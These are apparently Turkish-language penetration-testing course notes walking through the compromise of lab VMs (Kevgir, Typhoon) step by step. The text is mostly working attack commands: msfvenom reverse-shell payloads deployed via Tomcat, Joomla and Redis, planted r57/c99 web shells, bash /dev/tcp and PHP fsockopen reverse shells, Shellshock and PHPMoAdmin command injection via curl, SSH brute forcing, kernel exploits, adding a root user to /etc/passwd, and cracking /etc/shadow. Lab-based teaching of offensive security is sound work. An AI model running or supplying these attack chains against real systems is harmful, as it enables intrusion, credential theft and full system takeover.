Hali hazırda tomcat manager kullanıcı adı passwor ile giriş yapmıştık
buraya bir var arşhive ile zararlı kodları yükleyebilir ve burada onu tetikleyip kendi makinemizde bunu dinleyerek hedef makineden shell alıp sızabiliriz
peki bunu naıl yaparız?
En temelde bunun için bir msfvenom aracımız var bunu kullanabiliriz
payloadımızı java ile oluşturacağız çünkü tomcat:
java ile gelişrilmiş web uygulamarını çalıştırmak için kullanılan bir uygulama sunucusudur.
sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4445 -f war > tomcat.war
ls -l tomcat.war ile dosyamızın oluşrulduğunu görebiliriz
daha sonra zararlı kodu tetikeyip dinleyiciden shell imizi alacağız
içeriği açmadan içine bakalım
unzip -lv tomcat.war
içerisinde zararlı klasörü oluşturmamış o zaman:
sudo msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4445 -f war > tomcat.war
not: jdk yükleme:
kotnrol et: javac –version
çalışırsa yüklü değilse:
sudo apt install -y openjdk-17-jdk
daha sonra javac –version
jar -xvf tomcat.war
şuan zararlı kodu tanımladı: inflated: wxialqkvezb.jsp
şimdi bunu içeri yükleyeceğiz
browserdan http://192.168.10.128:8080/
burada manager webapp tıklayın ve
usernaem: tomcat
password: tomcat
en aşağıya in browser butonuna tıkla
oluşturduğun tomcat.war dosyanı bul ve seç
şimdi deploy deyin
sayfada Applications tablosunda eklenen dosyanızı görebilirsiniz. Şimdi:
buna tıklayın
şuan bir şey yok biz bunun altındaki şu dosyaya gideceğiz: wxialqkvezb.jsp
bu dosya tetiklendiğinde bize bir ters bağlantı getirecektir
şimdi metesloite geçelim ve search multi handler aratalım
şu exploit tipini use edin: 7 exploit/multi/handler . manual No Generic Payload Handler
use 7
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.10.130
set LPORT 4445
ipmizin 4445 portuna gelen bağlantıları dinleyecek şekilde yapılandırdık
şimdi biz bunu exploit -j ile bir job olarak ayaklandırırsak birden çok istek aynı anda geldiğinde bunları sessions tarafında kontrol edebiliriz
jobs ile buna bakabilir ve gelen istek olursa bunu da sessions dan kontrol edip id numarası ile geçiş yapabilirisiniz
şimdi wxialqkvezb.jsp dosyamızı tomcatte girdiğimzi dizinde url kısmında yazarak çalıştıralım
örn: http://192.168.10.128:8080/tomcat/wxialqkvezb.jsp
ve reverseShell geldi :)
daha önceki kodalarımızı yazabiliriz
help ile çalıştırılabilecek komutları görebilirsinzi
job oluşturduğumuzdan artık bir servisimiz var
shell dedikten sonra şu komut ile:
python -c "import pty;pty.spawn('/bin/bash')"
bash görünümü alabilirsiniz
Ve böylelikle manuel kısımda şimdilik buraya kadar.
İlerleyen aşamada yetki yükseltmeyi de yapacağız
EXPLOIT AŞAMASINA= Joomla:
Hatırlarsak 8081 portun da joomla vardı bir gidelim oraya:
http://192.168.10.128:8081
ctrl + u ile kaynak kodu görüntüleyelim
burada joomla nın 1.5 sürümü var
internette bununla ilgili araştırma yapabiliriz
how to exploit joomla 1.5
şöeyle bir zafiyeti var bakalım
Joomla! 1.5.x - 'Token' Uzaktan Yönetici Değiştirme Parolası
diyor
aşağıda bir örnek var mesela Example: kısmında
bizi yönlendiriyor:
hedef:
target.com/index.php?option=com_user&view=reset&layout=confirm
target.com bizim hedef url yani:
http://192.168.10.128:8081/index.php?option=com_user&view=reset&layout=confirm
daha sonra token alanına ‘ işaretini koyun ve submit deyin
burada yönetici için yeni bir şifre belirle diyor
belirleyin birtane: örn: administrator
şimdi şu adrese gidin:
http://192.168.10.128:8081/administrator/
kullanıcı adı: admin
parola: administrator
şuan da yetkili bir şekilde joomla içerisine girdik
burad ne gibi şeyler yapılabilir:
web site içeriği değiştirilebilir ama burada esas mesela mümkün mertebe “sunucuya girmeye çalışmak” olacaktır
bu tür içerik yönetimi sistemlerde de bir çoğunda “template manager” lar vardır
extension dan template manager e gidelim
şuraya tıklayın: rhuk_milkyway
bu template i düzenlemenize izin verir
sağ yukarıda “edit html” e tıklayın
bu index.php içeriği, mesela şyle bir şey yapabilir:
msfvenom ile bir zararlı php dosyası oluşturalım:
sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.130 lport=4445 -f raw > joomla.php
not: l ile başlayanlar bizin r ile başlayanlar hedefin !!
cat joomla.php
<?php den başlayarak die(); a kadar kopyalayın
şimdi index.php alanı vardı template manager den girmiştik oradaki kodu silip bunu yapıştırın
şimdi sağ yukarıda apple var ona tıklayın
bu kodu oraya yerleştirk ve dinleyicimizin de aktif olduğundan emin olmalıyız
bunu için: msfconsole da
search exploit multi handler
use 7
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.10.130
set LPORT 4445
exploit -j
şimdi hedef makinede http://192.168.10.128:8081/ e gidelim ve bize shell gelmesini bekliyorz
eğer shell bağlatınız kesilirse muhtemelen multi handler dinleyicisini düzgün yapılandıramadınız adımlarınıdı tekrar kontrol edin
burada da daha önceki benzer komutları çalıştırabilirsiniz örn:python -c "import pty;pty.spawn('/bin/bash')"
bazı durumlarda meterpreter in bazı versionları düzgün çalışmayabilir bu gibi durumlarda ise:
sudo msfvenom -p linux/x86/meterprete/reverse_tcp lhost=192.168.10.130 lport=4446 -f elf > linjo.elf
şimdi yeni bir msfconsole açın ve yeni bir handler başlatın
daha önceki adımlar ile benzer
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.10.130
set LPORT 4446
exploit -j
oluturulan yeni dosyamızı shell aldığımız msfconsole da upload edelim tam dizin vererek:
meterpreter > upload /home/dogukan/linjo.elf /tmp/linjo.elf
olarak tmp nin altına gönderelim
shell
ls -lh /tmp/linjo.elf
dosyamızı gördük
eğer shell den sonra komut çalıştıramazsanız meterpreter e dönün: exit
çalıştırma izinlerini güncelleylim
chmod +x /tmp/linjo.elf
şimdi çalıştırmak için:
execute -f /tmp/linjo.elf
diğer msfconsole de shell in gelmiş olamsı gerek
ama bir şekilde olmadı!
Şöyle deneyelim:
sudo msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.10.130 lport=4446 -f raw > linjo.php
php üzerinde bir payload hazırlayalım ve hanler ı yeniden düzenleylim
not: adımlar benzer zaten!
Bu da olmadı!!!!
şu adrese gidelim: => link
veya dur!
C99 veya r57 kullanalım!
Bunun için:
şuraya gidelim önce:
http://192.168.10.128:8081/administrator/index.php
buradaki kodu temizleyin sonra gooleye gidin
DİKKAT: bunu kod içeriğini detaylı incelemeden sakın başka sistemlerde kullanmayın zira oldukça kötü sonuçları olabilir.
Php malware code r57 githu => link
buradaki kodu sağ daki raw butonuna basarak kopyalayın
sonra index.php dosyasına yapıştırın
save butonuna tıklayın
sonra: http://192.168.10.128:8081/ e gitmeye çalışın
komut istemi kısmı var buraya:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bunu ayarlayarak yazalım:
bash -i >& /dev/tcp/192.168.10.130/4443 0>&1
uygula demeden önce terminalde netcat aracı ile dinleme yapalım
sudo nc -lvp 4443
shell buraya gelecektir
olmadı c99 u deneyelim
php malware code c99 github => link
aynı adımlar
işlemleri yaptıktan sonra sol aşağıya doğru enter:
diye bir boş alan var buraya shell almak için bash komutu vardı onu yerine şunu yazalım:
php -r '$sock=fsockopen("192.168.10.130",4443);exec("/bin/sh -i <&3 >&3 2>&3");'
bu arada terminalden 4443 portunu dinleyin
sudo nc -lvp 4443
evet geldi shell
şunu yazın:
python -c "import pty;pty.spawn('/bin/bash')"
id
uname -a
db dosyalarına bakalım mesela
ls -l |grep con
İki dosyamız var
mesela cat ile birini okuyalım
cat configuration.php
bak bak neler var mış :)
bu işlemi karşınıza çıkan web ekranında da yapabilirsiniz dosya orada da mevcut
Evet güzel bir challenge oldu. Şimdilik bu kadar
EXPLOIT AŞAMASINA= Redis:
Nessus da yaptığımız araştırma da Redis ile ilgili belli başlı zafiyetle çıkarmıştı. (kevgir makinesi)
Özellikle password authentication olmadığına dair (Redis Sunucusu Parola Kimlik Doğrulaması Tarafından Korunmuyor)
bu servis dışarı açılmış ve hata konfigürasyonu varsa biz bu servisin olanakları ile suncuyu elegeçirebilir miyiz?
Şöyle bir arama yapalım:
how to exploit redis site agarri.fr => link
burada asıl hikaye anlatılır
en aşağıda diyor ki
sen bu komutlar ile eğer hatalı bir konfigürasyon varsa bu sunucuyu elegeçireblirsin:
hedef makineye redis-cli ile bağlanmak ve komut vermek için:
sudo redis-cli -h 192.168.10.128
tamamen deneme/yanılma ve düşünerek bunu bulabiliriz.
Adım adım gideli:
CONFIG SET DIR /var/www/html/joomla/tmp/
CONFIG SET DBFILENAME shell.php
şim shell.php, /var/www/html/joomla/tmp/ bu dizin altına yazılacak ve bu shell.php nin içerisine de bir şey yazmamız gerek
https://www.grobinson.me/single-line-php-script-to-gain-shell/
bu adamın tek satırlık bir kodu var:
<?php echo shell_exec($_GET['e'].' 2>&1'); ?>
set PAYLOAD “<?php echo shell_exec($_GET['e'].' 2>&1'); ?>”
bu kod: get parametresinden alınan e yi ekrana basan basit bir php kodu (buradaki e sorgu parametresi)
bgsave dersek arka tarafta bu kayıt edilmiş olabilir bunu deneyeceğiz
http://192.168.10.128:8081/
adresine gidelm zaten burada bi c99 vardı
tmp nin altına bakalım
evet!! shell.php adında bir dosyamız var
budurumad:
http://192.168.10.128:8081/tmp/shell.php
çağırabiliriz
urlde:
http://192.168.10.128:8081/tmp/shell.php?e=ls
başta ve sonda bir takım anlamsız metinler var bu: redis bu dpsyayı yazarken oluyor
ama ortada biz bu dosyanın çalıştığını görebiliyoruz: index.html shell.php
şimdi biz şunu yapabiliriz:
sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.10.130 lport=5555 -f raw > redis.php
daha sonra bir http servis ayaklandıralım
python -m http.server
bunu yaptığımızda aktif dizin servis edilmeye başlanır bizde oluşturulan dosyamızı buradan alabiliriz
python -m http.server
buraya ulaşmak için: http://<kendi_ipniz:8000>
biz hedef makine url den komut verebiliyorduk o halde:
http://192.168.10.128.8081/tmp/shell.php?e=wget http://192.168.10.130:8000/redis.php
ile dosyayı hedef dizine indirebiliriz.
Muhtemelen kaydetti şimdi bakalım:
http://192.168.10.128.8081/tmp/shell.php?e=ls
evet gelmiş: index.html redis.php shell.php
şimdi:
http://192.168.10.128.8081/tmp/shell.php?e=chmod +x redis.php
olmadı!
Şöyle yapalım:
google: reverse shell cheat sheat
ilk etapda şunu deneyelim:
terminalede: nc -lvp 5555
bash -i >& /dev/tcp/192.168.10.130/5555 0>&1
bunu e= kısmınıa yazalım
bir de bir dinleyici oluşturalım multi handler de
set PAYLOAD php/meterpreter/reverse_tcp
set lhost 192.168.10.130
set lport 5555
nc ile http server i kapatı deneyin
sonra run ile dinleyin
http://192.168.10.128:8081/tmp/shell.php?e=php redis.php
shell geldi.
Bazen böyle aksilikler olabilir pes etmek yok.
Ne yaptık:
redis ten içeri de tek satırlık komut çalıştımamıza imkan sağlan php dosyası yükledik
sonra venom ile redis.php dosyası hazıladık
sonra http server üzerinden wget ile bu dosyayı yükledik
sonra bir handler başlattık
sonra da php ile bu dosyayı çalıştırdık
deneme:
search redis
içeride şöyle bir auxiliary var:
auxiliary/scanner/redis/file_upload
diğer komutları çalıştırmadan bununla da yapabilirsiniz (çalışıp çalışmayacağını net bir şekilde söylemek doğru olmaz bunu denemeniz gerek) => link
EXPLOIT AŞAMASINA= SSH Sömürüsü:
Daha önce ssh sömürüsünden bahsetmiştik şimdi biraz daha üzerinde duralım istiyorum.
Hatırlarsak bir username dosyamız vardı onu bir düzenleyelim.
admin
user
root
nomal bir parola dosyası verecek olsam rockyou verirdim ama daha küçük bir parola dosyası verebiliriz bu aşamada.
Bir de passwor listemiz vardı içerisine:
admin
123123
Administrator
administrator
resu
user
12345678
yapalım maksat sonucu görmek. Normal şartlar altında bu işlemler daha uzun sürebilir. Ve keşif zamanında özel password/user list leri oluşturmak gerekebilir
şimdi:
sudo hydra ssh://192.168.10.128:1322/ -L userList -P passwordList
[1322][ssh] host: 192.168.10.128 login: admin password: admin
[1322][ssh] host: 192.168.10.128 login: user password: resu
şimdi bu bilgiler ile bağlanmayı deneyelim
ssh admin@192.168.10.128 -p 1322
çıkana: yes
parolamız: admin
şimdi aynı işlemi user için deneyin.
Eğer kendiniz bir wordList yapmak isterseniz:
örn: crunch 8 8 0123456789 -t admin@@@ > wordList
yapabilirsiniz mesela.
Ya da hazır parola/user setleri:
ls /usr/share/wordlist/ altında.
Bunlara bakabilirsiniz
hydra, medusa, ncrack, metasploit, burp vb. araçlar ile bunu yapabilirsiniz.
Unutmayıb bir çok yerde çok kötü parola politikası kullanılıyor.
Bunları da localPolicy lere yakalanmadan ve hesapları kitlemeden doğru bir şekilde tespit etmek çok önemli.
EXPLOIT AŞAMASINA= Yetki Yükseltme:
Birçok farklı şekilde hedef sisteme girdik ve neredeyse hepsinde yetkisizdik.
Düşk seviye ile bir sisteme girdiğimizi varsayalım neler yapabiliriz?
Bunun için diğer adımları yapmak yerie enson yaptığımız ssh sömürü ile içeri gireceğiz
ssh user@192.168.10.128 -p 1322
parola: resu
şuan hedef sistemdeyiz
sistemiz ele geçirmenin birden fazla yolu var.
uname -a: çekirdek bilgisi alabiliriz
cat /etc/lsb-release veya cat /etc/issue bilgilerine bakarak bir zafiyeti varmı?
LocalExploiti var mı yok mu ona bakabiliriz
bakalım: exploitDB ye gidelim
burada arama kutusuna ubuntu 14.04.3 yazalım
link
ilk yöntem olarak bir kernel exploiti deneyebiliriz
veya metasploit kullanarak bakabilirz
searchsploit ubuntu 14.04
sudo find / 37088.c|grep 37088.c (tam dizini bulalım)
/usr/share/exploitdb/exploits/linux/local/37088.c
buradaymış
şimdi bunu kopyalayalım mevcut dizinimize
sudo mv /usr/share/exploitdb/exploits/linux/local/37088.c .
şimdi bu dosyamızı karşıya yüklemek için http server ayaklandıralım
python -m http.server
ssh ile girdiğmiz makinede tmp altına gidelim
cd /tmp
şimdi buraya dosyamızı inireceğiz:
wget http://192.168.10.130:8000/37088.c
tmp altına gitmemizin sebebi: her kullanıcının burada yazma okuma izni olabilir
şimdi bu kodu derlemek için:
gcc 37088.c
ls -l ile bakalım: a.out
böyle bir dosya ile derlenmiş
şimdi:
./a.out
bu olmazsa 37292.c olanı da deneyebiliriz
searchsploit ubuntu 14.04
aynı adımlar ile
farklı bir dosya adı verelim:
gcc 37292.c -o ab.out
tekrar deneyelim
olmadı farklı bir tane deneyelim
not: aslında bu kadar çok kernelExploiti denemek çok doğru bir hareket değil
a.out u bir daha deneyelim muhtemelen bir yereleri bozmuş olabilir
biraz bekleyelim denesin olamdı farklı yolla deneriz
NOT: suidbit activeted:
SUID biti, kullanıcıların bir dosyayı kendi izinleri yerine dosya sahibinin izinleriyle yürütmesine olanak tanıyan özel bir izindir.
Bu da olamdı. Şimdi suid biti aktifliğini ele alalım.
Bunun için:
örn: cd /tmp
find /bin -perm /4000 veya find /bin -perm -4000 veya find /bin -perm -u=s -type f 2>/dev/null
bin in altında suid biti ile aktifleştirilmiş bir dosya var mı dedik
ve evet var mış
burada dikkat çeken ise cp komutu
bu komut ile mesela kullanıcıların şifrelerinin bulunduğu dosyamıza brute force ile root şifresini bulabilirsek direk sudo su ile root kullanıcısına geçebiliriz
pwd
/tmp
cp /etc/shadow .
Cat shadow
ARAŞTIRMA:
/etc/shadow ve /etc/passwd yi cp komutu ile bir manipülasyon yapıp root veya admin in parolasız çalışmasısını sağlayacak bir satır düzenlemesi yapılabilir
direkt olarak yetkili bir kullanıcı ile giriş yapılabilir.
Böylece herhangi bir parola güvenliği olmadan direkt giriş sağlanabilir.
Suid biti aktifleştirilmiş cp binarry komutu yakalandığında nasıl kullanıla bilir?
link
bunu kendiniz yapacaksınız!
Benim izlediğim adımlar:
kendimize bir hash ürettik:
openssl passwd -6 -salt ignite pass123
$6$ignite$NpGq6ii4Sbk2v/3uaWdIbMDDbHAt6m.CPYIGYQuoJnMNuKka8NrYFBMd.yYK6n9.3SALkeNDq1CoGbgoW8bgd.
Bunu kullanacağız önce:
önce kendi makinemizde bir passwd dosyası oluşturduk: nano passwd
sonra bu dosya içeriğine kevgir deki /etc/passwd dosya içeriğini yapıştırdık
en sona da bir kullanıcı ekleyeceğiz bunun hemde root haklarına sahip olan:
kevgirRT:$6$ignite$NpGq6ii4Sbk2v/3uaWdIbMDDbHAt6m.CPYIGYQuoJnMNuKka8NrYFBMd.yYK6n9.3SALkeNDq1CoGbgoW8bgd.:0:0:root:/root:/bin/bash
kaydedip çıkalım
bu dosyamızı kevgirden http server oluşturarak wget komutu ile çekelim:
python -m http.server
kevgir makinesinde /tmp altındayız(cd /tmp):
wget http://kendi.kali.ip.si:8000/passwd
muhtemelen başka bir dosya ismiyle kaydedecek(passwd.1)
/tmp altında zaten passwd var bunu içerisine ekmele yapalı passwd.1 içeriğini:
cat passwd.1 > passwd
tail passwd
veya:
echo 'kevgirRT:$6$ignite$NpGq6ii4Sbk2v/3uaWdIbMDDbHAt6m.CPYIGYQuoJnMNuKka8NrYFBMd.yYK6n9.3SALkeNDq1CoGbgoW8bgd.:0:0:root:/root:/bin/bash' >> passwd0
daha sonra su kevgirRT, parola: pass123
whoami
artık en yüksek yetkiye sahip kullanıcıyız!!
iki exploitimiz de işe yaramadı bir de şunu deneyelim:
searchsploit ubuntu 14.04
39166.c dosyasını bulun
sonra:
sudo find / 39166.c|grep 39166.c
/usr/share/exploitdb/exploits/linux/local/39166.c
bunu bulunduğunuz dizine koypyalayın:
cp /usr/share/exploitdb/exploits/linux/local/39166.c .
şimdi karşı makineden wget ile çekmek için http server başlatın
(kopyaladığınız dizinde) python -m http.server
şimdi kevgir de cd /tmp yapın
burada: wget http://192.168.10.130:8000/39166.c
gcc 39166.c -o abc.out
chmod +x abc.out
./abc.out
whoami
artık en yüksek seviyeli kullanıcıyız
EXPLOIT AŞAMASINA= Post Exploit Aşaması:
Hedef sistemde root yetkisindeyiz artık her yere her şeye bakabiliriz.
Bunu için adımları hatırlayalım:
Ssh ile bağlanalım: ssh user@192.168.10.120 -p 1322
parola: resu
farklı terminalde: searchsploit ubuntu 14.04
burada 39166.c
olan dosyamızı bulalım: sudo find / 39166.c|grep 39166.c
/usr/share/exploitdb/exploits/linux/local/39166.c
buradaki dosyayı bulunuduğumuz dizine kopyalayalım
cp /usr/share/exploitdb/exploits/linux/local/39166.c .
şimdi dosya paylaşımı için: pyhthon -m http.server
ssh ile bağlandığımız makineden bu dosyamızı çekelim
cd /tmp
wget http://192.168.10.130:8000/39166.c
şimdi bunu derlelim
gcc 39166.c -o kevgir
çalıştıralım: ./kevgir
artık root uz
önce root un altına gidip burada ne var ne yok bakmalıyız
cd /root
ls -la
örn:
bir ssh key var mı
belki başka bir sisteme tanımlamıştır ve belki bash_history de bağlandığı sistemi görebiliriz
bu key i kendi local makinenize ekleyerek farklı farklı sistemlere gidiş yolunu açabilirsiniz.
Bir bakalım: cd .ssh
ls -la
burada bir key yok
/root altında .mysql_history var buna bakalım
cat .mysql_history
burada daha önce hacklemiştik joomla var meseala bunlara bakabilirisniz çalıştırdıkları komutlara
kullanıcıların bash_history lerine bakabiliriz, daha önce çalıştırdıkları komutlara
cd /home
ls -la
cd /admin
cat .bash_history
bunun yanı sıra üzerinde çalıştırdığı servislere bakmamız gerek
cd /var/www
ls -la
cd html
ls -la
main diye bir alan var mış bakalım:
cd main/
dvwa g0yg0y index.html kevgir.png logo.png mutillidae xvwa zenphoto
burada kesin hacklemek üzerine araştırmanızı tavsiye ettiğim: zenphoto var buna kesi bakın
mesela bir konfigürasyona bakmak istiyoruz
cd /etc/apache2/sites-enable
apache de enable edilmiş lere bakabiliriz
ls -al
mesela şunu okuyalım: 000-default.conf
cat 000-default.conf
burada teker keterk açıp bakabiliriz
burada 80 portunda çalışan yer /var/www/html/main altındaymış
cd /var/www/html/joomla/ gidelim
ls -la
cat configuration.php dosyasında direk configuration dosyalarını okuyarak kullanıcı adı/parolaları yakalayabiliriz
bunun dışında araştırma için: local enumaration, post exploitation konularını arştırmanızı tavsiye ederim (win, linux üzerinde)
bunun dışında cd /mnt altında belki bir disk vardır buna bakabiliriz
cd /backup
burada bir zip dosyası var bunu indirip ne olduğunu anlamayaçalışabilirsiniz
cat /etc/shadow dosya içeriğini koplayayıp kendi local makinenizde yeni bir dosya içerisini bunu yapıştırabiliriz
nano kevgir-shadow
buraya yapıştır kaydet çık
sudo john kevgir-shadow
ile bunu parolo kırma işlemi yaptırabilirsiniz
Typhoon VM Analizi
İlk olarak hedef makine keşfi için nmap aracını kullanalım
sudo nmap -Pn -sT -n -vv 192.168.10.129 -T4 -p- -sV -oA typhon
veya şöyle yapalım:
sudo nmap -Pn -sT -n -vv 192.168.10.129 -T5 -p- -oA typhon -A
not: buradaki parametrelerin artık ne anlama geldiğini biliyor olmamız gerek
tekrar bir hatırlayalım:
ping atma, tcp üç yollu el sıkışmayı tamamla, adres çözümlemesi yapma, bana her adımı göster, hedef ip, çok hızı yap, tüm portları tara, bana 3 farklı çıktı ver dosya olarak, versiyon tarması yap + enumeration scripleri çalıştır + işletim sistemini öğren
bir sürü şey getirdir bizim için bakalım neler var mış:
21 de ftp varmış
anonim ftp ye izin veriyor muş
22 de ssh
53 de dns, bind 9.9.5-3
80 de apache var mış
/mongoadmin/ bir dizin var mış
mysql(3306), postgresql(5432), redis(6379), http(8080), mongodb(27017)
bunlar dışarı açık ve baya sıkıntılı belki buralarda birşeyler bulabiliriz
bir sistemi exploit etmek istiyorsanız:
hedefte: port, port üzerinde: servis, servisin üzerinde: yazılım
bunları anlamlandırmak ve bunların üzerine gitmek gerekiyor
şimdi başlayalım:
nessus da bir tarama yapalım:
sudo systemctl start nessusd.service
browserda: https://kali:8834/
new scan
advenced scan
name ve description = Typhoon Analyze
targets=<typhoon ip si>
discovery>port scan kısmında port scan tange: all
discovery>port scan kısmında: Network Port Scanners>tcp ye tik at
daha sonra en aşağıda save e basın
gelen ekranda typhoon na tıkla
sonra sağ üst kısmında launch butonuna tıkla
şimdi nessus un güvenlik analizi sonuçlarını bekleyelim
vulnerabilities de gnu bash kısmına baktığımızda bir shellshock zafiyeti var bunu not alalım:
diyorki: /cgi-bin/test.sh
var buradan shellshock zafiyetini tetikleyebilirsin diyor.
Yine redis var bunu da not alalım
ssh var bunu da not alalım
mongoadmin e bakmamız gerek
tomcat de bir şey var mı yok mu kontrol edelim
size challenge olarak NFS zafiyetine bakın araştırın.
Birde wep tarafına bakalım neler var
dirb http://192.168.10.129/
mesela burada drupal var mış buna da bakalım
phpmyadmin var buna bakabiliriz
cms var buna neymiş buna bakabilirz
cms bir bakalım: http://192.168.10.129/cms/
bu lotuscms miş bir bakalım buna
searchsploit -s lotuscms
3.0 için bir zafiyet var
bu lotuscms in versionuna bakabiliyormuyuz bakalım
sayfa kaynağını görüntüleyerek bir bakalım
görmedik ama metasploit ile lotuscms için remote execute deneyebiliriz belki de sömürebiliriz
drupal e bakalım:
http://192.168.10.129/drupal
bunun versiyonuna bakalım
versionu 8 miş buna bir bakalım
searchsploit -s drupal 8
varmış bunları da ekledik listeye
şimdi güvenlik taramalarını yapalım
nessus da tarama yaptığmızda shellshock zaiyeti var demişti bunu nikto ile de bulabilirmiyiz ona bakalım:
nikto -h http://192.168.10.129
evet nikto ile de bulduk.
Birde mongoadmin var diyor bir bakalım neymiş:
http://192.168.10.129/mongoadmin
burada phpmoadmin diye bir yazılım varmış. Buna bir bakalım.
Searchsploit -s phpmoadmin
burada RCE(remote cod execute) varmış. Bunu da kullanabiliriz. Not olarak kalsın.
Zafiyetleri keşfettikten sonra hemen exploit etmeye çalışmayın önce anlamaya çalışın.
Mesela biz ne bulduk:
shellshock bulduk
pypmoadmin diye bir dosya bulduk
lotuscms bulduk
bunların hangisi mantıklı ilk önce onun üzerinden gitmekte fayda var.
bu zafiyetlerden hangisi sistemin/servisin çalışmasını durdurabilir/durdurur mu?.
Yani direkt saldırmayın sisteme. Notlarınızı alarak ilerleyin.
Nmap ile scripting yapabilir hatta bu scriplere ulaşmak için:
ls -la /usr/share/nmap/scripts
deneyelim mesela smb portunda:
sudo nmap 192.168.10.129 -p 445 –script=smb-vuln-* -vv
eğer varsa bir zafiyet direkt kaşınıza getirecektir.
Burada herhangi bir zafiyetin olmadığını görüyoruz
phpmyadmin vardı ona bir bakalım
http://192.168.10.129/phpmyadmin
burada bir giriş yaptım ama şimdilik kalsın
(araştırma: “phpmyadmin shell uploads” araştır.)
sudo nmap 192.168.10.129 -p 445 –script=smb-os-discovery
dediğimizde
fqdn: tyhoon.local:(fqdn: cihazın internet üzerindeki tam adresi)
ve içerisinde de bir dns var
acaba biz dns zone kayıtlarını çekebilirmiyiz? Zone transfer zafiyetini tetikleyebilir miyiz?
Sudo dig AXFR @192.168.10.129 typhoon.local
hedef makineye, typhoon.local domaini için kayıtlarını bana gönder dediğimizde eğer karşı tarafta configuration hatası varsa, zone kayıtlarını herkesle paylaşmaya yönelik bir zafiyet varsa direk içerisindeki kayıtları verecektir.
Ki verdi de
shellshock sömürü
cgi-bin/test.sh da bir shellshock zafiyeti olduğunu bulmuştuk.
Hadi buna bir göz atalım:
http://192.168.10.129/cgi-bin/test.sh
Prisma! Diye bir çıktı verdi.
Şimdi bu zatiyeti hem metasploit ile hemde manuel olarak sömürmeye çalışacağız.
Metasploit ile:
sudo msfconsole
search shellshock
bunu bulalım
exploit/multi/http/apache_mod_cgi_bash_env_exec
use 1
options
set RHOSTS 192.168.10.129
set TARGETURI /cgi-bin/test.sh
biz ise 4444 portunda dinlemede olacağız bize buradan shell gelecek
run
sysinfo
shell
python -c “import pty;pty.spawn(‘/bin/bash’)”
typhoon makinede olduğumuzu görebiliriz
backround
Manuel:
şimdi internette aratalım:
shellshock revers shell=> link
() { ignored;};/bin/bash -i>& /dev/tcp/attacker/port 0>&1
bu bizim payload ımız.
() { :;}; /bin/bash >& /dev/tcp/192.168.10.130/4443 0>&1
bunu curl aracı kullanarak yapacağız:
ama önce port dinleme:
sudo nc -lvp 4443
sonra başka bir terminalde
curl -A “() { :;}; /bin/bash >& /dev/tcp/192.168.10.130/4443 0>&1” http://192.168.10.129/cgi-bin/test.sh
port dinlediğimiz terminale shell gelmesi gerekmekterdir.
curl -A “() { :;}; /bin/bash >& /dev/tcp/192.168.10.130/4443 0>&1” http://192.168.10.129/cgi-bin/test.sh
veya:
curl -A "() { ignored;};/bin/bash -i >& /dev/tcp/192.168.10.130/4443 0>&1" http://192.168.10.129/cgi-bin/test.sh
www-data yetkisi ile içeri girdik:
pwd
id
uname -a
hostname
hostname -I
SSH Sömürü Aşaması
Hatırlarsak bir user denemesi yapmıştık
onu bir deneyelim:
sudo msfconsole
search ssh_enum
auxiliary/scanner/ssh/ssh_enumusers
use 0
options
set RHOSTS 192.168.10.129
set THREADS 10
set USER_FILE /usr/share/wordlists/metasploit/default_users_for_services_unhash.txt
run
username olarak admin buldu
şimdi admin kullanıcı adını hydra ile brute-force yaparak şifre elde etmeye çalışalım:
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.129:22
veya
sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.10.129 -s 22
şimdi bekleyelim
beklerken metasploit de search ssh_login
auxiliary/scanner/ssh/ssh_login
ile de yapabiliriz,. Yapalım.
Use 0
options
set RHOSTS 192.168.10.129
set THREADS 10
set PASS_FILE /usr/share/wordlists/rockyou.txt
set STOP_ON_SUCCESS true
set VERBOSE true
run
beklenen çıktı (hydra):
[22][ssh] host: 192.168.10.129 login: admin password: metallica
burada mesela bir username:password çifti ele geçirdiniz.
Rhosts da bir den fazla hedefe attack yapabilirsiniz
örn: db_nmap -p 22 192.168.10.0/24 –open
tüm network ü tarayıp ssh:22 port u açık olanları alabilir ve daha sonra:
services -p 22 -R ile bunların hepsini tek seferde rhosts a ekleyebilirsiniz
set USERNAME usernmae
set PASSWORD password
run ile deneme yapabilirsiniz
ek olarak medusa ile de yapabiliriz
sudo medusa -h 192.168.10.129 -u admin -P /usr/share/wordlists/rockyou.txt -M ssh -n 22 -t 10
ACCOUNT FOUND: [ssh] Host: 192.168.10.129 User: admin Password: metallica [SUCCESS]
yani bulduğumuz çift: admin:metallica
not: yetki kontrolü için: sudo -l -U kullanıcı_adı
PHPMOADMIN Sömürü Aşaması:
Phpmoadmin diye bir şey keşfetmiştik.
http://192.168.10.129/mongoadmin/
burada phpmoadmin vardı
searchsploit phpmoadmin dediğimizde
remote code execute zafietini görebiliriz
PHPMoAdmin - Unauthorized Remote Code Execution | php/webapps/36251.txt
yine internett araştırma yaparak bunu bulabilirsiniz
ilk önce bu zafiyetin açıklamasında ne vardiye bir okuyalım:
sudo find / 36251.txt|grep 36251.txt
/usr/share/exploitdb/exploits/php/webapps/36251.txt
cat /usr/share/exploitdb/exploits/php/webapps/36251.txt
veya link
adamın söylediğine bak: Birisi bu boku 3000usd'a satmaya çalışıyordu hahaha
diyorki:
bu php için mongodb yönetim aracı.
Eğer sen crul ile post bir istekte şunu yazarsan:
object=1;system('id');exit
ben bunu arka planda işlerim
kullanımı:
sudo curl "http://192.168.10.129/mongoadmin/index.php" -d "object=1;system('id');exit"
burada (‘’) içerisindeki alana komutlarımızı yazabiliriz.
Bu 0-day dir. 2015 de çıkmış. Muhtemelen şuan önlemini almışlardır ama çeşitli spesifikasyonlar ile çalışır hale belki gelebilir??!!?
suit biti aktifliğine bakabiliriz:
find /bin -perm -4000
çekirdek bilgisi:
uname -a
gibi.
Bu komutlar: ('<buraya yazılarak çıktı alınabilir>')
yani:
sudo curl "http://192.168.10.129/mongoadmin/index.php" -d "object=1;system('find /bin -perm -4000');exit"
biz meterpreter ile bir shell almak istiyoruz
bunun için:
